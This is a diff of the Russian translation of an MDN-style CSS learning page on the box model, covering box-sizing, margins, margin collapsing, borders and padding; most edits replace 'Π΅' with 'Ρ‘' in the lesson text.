+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС ваши элСмСнты использовали Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΡƒΡŽ Π±Π»ΠΎΡ‡Π½ΡƒΡŽ модСль, Ρ‡Ρ‚ΠΎ являСтся распространённым Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ срСди Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², установитС свойство <code>box-sizing</code> для элСмСнта <code>&lt;html&gt;</code>, Π·Π°Ρ‚Π΅ΠΌ настройтС всС элСмСнты для наслСдования этого значСния (inherit), ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ Π½ΠΈΠΆΠ΅. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ стоит Π·Π° этим, смотритС ΡΡ‚Π°Ρ‚ΡŒΡŽ <a href="https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/">the CSS Tricks article on box-sizing</a>.</p>
<pre class="brush: css notranslate"><code class="language-css"><span class="selector token">html</span> <span class="punctuation token">{</span>
<span class="property token">box-sizing</span><span class="punctuation token">:</span> border-box<span class="punctuation token">;</span>
@@ -166,7 +166,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
<h2 id="Π˜Π³Ρ€Π°Π΅ΠΌ_с_Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌΠΈ_модСлями">Π˜Π³Ρ€Π°Π΅ΠΌ с Π±Π»ΠΎΡ‡Π½Ρ‹ΠΌΠΈ модСлями</h2>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ 2 ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Оба ΠΈΠΌΠ΅ΡŽΡ‚ класс <code>.box</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Π΅Ρ‚ ΠΈΠΌ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>, ΠΈ <code>padding</code>. ЕдинствСнноС Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ объявлСн ΠΏΠΎ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ Π±Π»ΠΎΡ‡Π½ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ 2 ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Оба ΠΈΠΌΠ΅ΡŽΡ‚ класс <code>.box</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Ρ‘Ρ‚ ΠΈΠΌ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>, ΠΈ <code>padding</code>. ЕдинствСнноС Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ объявлСн ΠΏΠΎ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ Π±Π»ΠΎΡ‡Π½ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
<p><strong>ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (добавляя CSS Π² класс <code>.alternate)</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡˆΠΈΡ€ΠΈΠ½Π° ΠΈ высота совпали с ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π±Π»ΠΎΠΊΠΎΠΌ?</strong></p>
@@ -188,13 +188,13 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
<h2 id="Поля_отступы_ΠΈ_Π³Ρ€Π°Π½ΠΈΡ†Ρ‹"><span class="tlid-translation translation" lang="ru"><span title="">Поля, отступы ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹</span></span></h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ свойства {{cssxref ("margin")}}, {{cssxref ("padding")}} ΠΈ {{cssxref ("border")}} Π² Ρ€Π°Π±ΠΎΡ‚Π΅ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</span> <span title="">Бвойства, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±Ρ‰ΠΈΠΌΠΈ ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ всС Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ стороны поля ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ.</span> <span title="">Π­Ρ‚ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‚ эквивалСнтныС свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½ΠΎ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ сторонами поля.</span><br>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ‹ ΡƒΠΆΠ΅ Π²ΠΈΠ΄Π΅Π»ΠΈ свойства {{cssxref ("margin")}}, {{cssxref ("padding")}} ΠΈ {{cssxref ("border")}} Π² Ρ€Π°Π±ΠΎΡ‚Π΅ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</span> <span title="">Бвойства, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±Ρ‰ΠΈΠΌΠΈ ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ всС Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ стороны поля ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ.</span> <span title="">Π­Ρ‚ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‚ эквивалСнтныС свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½ΠΎ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ сторонами поля.</span><br>
<br>
<span title="">Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим эти свойства Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ.</span></span></p>
<h3 id="ПолС_внСшнСго_отступа_margin">ПолС внСшнСго отступа (margin)</h3>
-<p>Margin это Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΠΎΠ΅ пространство Π²ΠΎΠΊΡ€ΡƒΠ³ вашСго элСмСнта. Оно ΠΎΡ‚Ρ‚Π°Π»ΠΊΠΈΠ²Π°Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты ΠΎΡ‚ Π½Π΅Π³ΠΎ. Margin ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Ρ‚Π°ΠΊ ΠΈ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ. НСгативноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для внСшнСго отступа ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Ρ‚ΠΈΡŽ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… элСмСнтов страницы. НСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ ΠΈΠ»ΠΈ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΡƒΡŽ Π±Π»ΠΎΡ‡Π½ΡƒΡŽ модСль, margin всСгда добавляСтся послС расчСта Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ бокса.</p>
+<p>Margin это Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΠΎΠ΅ пространство Π²ΠΎΠΊΡ€ΡƒΠ³ вашСго элСмСнта. Оно ΠΎΡ‚Ρ‚Π°Π»ΠΊΠΈΠ²Π°Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты ΠΎΡ‚ Π½Π΅Π³ΠΎ. Margin ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Ρ‚Π°ΠΊ ΠΈ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ. НСгативноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для внСшнСго отступа ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Ρ‚ΠΈΡŽ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… элСмСнтов страницы. НСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ ΠΈΠ»ΠΈ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΡƒΡŽ Π±Π»ΠΎΡ‡Π½ΡƒΡŽ модСль, margin всСгда добавляСтся послС расчёта Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π²ΠΈΠ΄ΠΈΠΌΠΎΠ³ΠΎ бокса.</p>
<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всС поля элСмСнта сразу, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойство {{cssxref ("margin")}}, ΠΈΠ»ΠΈ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ сторону ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ эквивалСнтныС ΠΏΠΎΠ»Π½Ρ‹Π΅ свойства:</p>
@@ -219,7 +219,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
<p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 1000)}}Β </p>
-<p>БущСствуСт ряд ΠΏΡ€Π°Π²ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, ΠΊΠΎΠ³Π΄Π° поля ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°ΡŽΡ‚ΡΡ, Π° ΠΊΠΎΠ³Π΄Π° Π½Π΅Ρ‚. Для получСния ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ см. <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">margin collapsing</a>.Β Π“Π»Π°Π²Π½ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ сСйчас ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, β€” это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ происходит схлопываниС ΠΏΠΎΠ»Π΅ΠΉ. Если Π²Ρ‹ создаСтС пространство с полями ΠΈ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠ³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°, вСроятно, ΠΈΠΌΠ΅Π½Π½ΠΎ это ΠΈ происходит.Β </p>
+<p>БущСствуСт ряд ΠΏΡ€Π°Π²ΠΈΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, ΠΊΠΎΠ³Π΄Π° поля ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°ΡŽΡ‚ΡΡ, Π° ΠΊΠΎΠ³Π΄Π° Π½Π΅Ρ‚. Для получСния ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ см. <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">margin collapsing</a>.Β Π“Π»Π°Π²Π½ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ сСйчас ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, β€” это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ происходит схлопываниС ΠΏΠΎΠ»Π΅ΠΉ. Если Π²Ρ‹ создаётС пространство с полями ΠΈ Π½Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠ³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°, вСроятно, ΠΈΠΌΠ΅Π½Π½ΠΎ это ΠΈ происходит.Β </p>
<h3 id="Π“Ρ€Π°Π½ΠΈΡ†Ρ‹">Π“Ρ€Π°Π½ΠΈΡ†Ρ‹</h3>
@@ -227,9 +227,9 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
<p>Для стилизации Π³Ρ€Π°Π½ΠΈΡ† сущСствуСт большоС количСство Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… свойств — имССтся Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹,Β  ΠΈ каТдая ΠΈΠ· Π½ΠΈΡ… ΠΈΠΌΠ΅Π΅Ρ‚ свой ΡΡ‚ΠΈΠ»ΡŒ, ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ Ρ†Π²Π΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ, ΡΡ‚ΠΈΠ»ΡŒ ΠΈΠ»ΠΈ Ρ†Π²Π΅Ρ‚ всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Π³Ρ€Π°Π½ΠΈΡ†Β ΡΡ€Π°Π·ΡƒΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ {{cssxref("border")}} свойства.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ, ΡΡ‚ΠΈΠ»ΡŒ ΠΈΠ»ΠΈ Ρ†Π²Π΅Ρ‚ всСх Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… Π³Ρ€Π°Π½ΠΈΡ†Β ΡΡ€Π°Π·ΡƒΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ {{cssxref("border")}} свойства.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… сторон Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… сторон Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ:</p>
<ul>
<li>{{cssxref("border-top")}}</li>
@@ -263,13 +263,13 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
<li>{{cssxref("border-left-color")}}</li>
</ul>
-<p><strong>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ использовали различныС сокращСнныС ΠΈ длинныС способы создания Π³Ρ€Π°Π½ΠΈΡ†. ΠŸΠΎΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅ с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ свойствами Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ Π²Ρ‹ поняли ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ ΠΈΡ… Ρ€Π°Π±ΠΎΡ‚Ρ‹. MDN страницы свойств Π³Ρ€Π°Π½ΠΈΡ† Π΄Π°Π΄ΡƒΡ‚ Π²Π°ΠΌ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… стилях, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</strong></p>
+<p><strong>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ использовали различныС сокращённыС ΠΈ длинныС способы создания Π³Ρ€Π°Π½ΠΈΡ†. ΠŸΠΎΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅ с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ свойствами Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ Π²Ρ‹ поняли ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ ΠΈΡ… Ρ€Π°Π±ΠΎΡ‚Ρ‹. MDN страницы свойств Π³Ρ€Π°Π½ΠΈΡ† Π΄Π°Π΄ΡƒΡ‚ Π²Π°ΠΌ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… стилях, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</strong></p>
<p>{{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 1000)}}Β </p>
<h3 id="Padding">Padding</h3>
-<p>Padding располоТСн ΠΌΠ΅ΠΆΠ΄Ρƒ Π³Ρ€Π°Π½ΠΈΡ†Π΅ΠΉ ΠΈ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π±Π»ΠΎΠΊΠ°. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ Π²Π½Π΅ΡˆΠ½ΠΈΡ… отступов (margin),Β Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния для padding, поэтому значСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΈΠ»ΠΈ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ 0. Π›ΡŽΠ±ΠΎΠΉ, ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ ΠΊ вашим элСмСнтам Ρ„ΠΎΠ½, Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΏΠΎΠ΄ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽΒ padding, ΠΈ поэтому ΠΎΠ½ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΎΡ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</p>
+<p>Padding располоТСн ΠΌΠ΅ΠΆΠ΄Ρƒ Π³Ρ€Π°Π½ΠΈΡ†Π΅ΠΉ ΠΈ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π±Π»ΠΎΠΊΠ°. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ Π²Π½Π΅ΡˆΠ½ΠΈΡ… отступов (margin),Β Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния для padding, поэтому значСния Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΈΠ»ΠΈ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ 0. Π›ΡŽΠ±ΠΎΠΉ, ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΉ ΠΊ вашим элСмСнтам Ρ„ΠΎΠ½, Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΏΠΎΠ΄ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽΒ padding, ΠΈ поэтому ΠΎΠ½ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΎΡ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β padding для всСх сторон элСмСнта,Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ {{cssxref("padding")}} свойство, или для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ стороны ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ свойства:</p>
@@ -282,7 +282,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
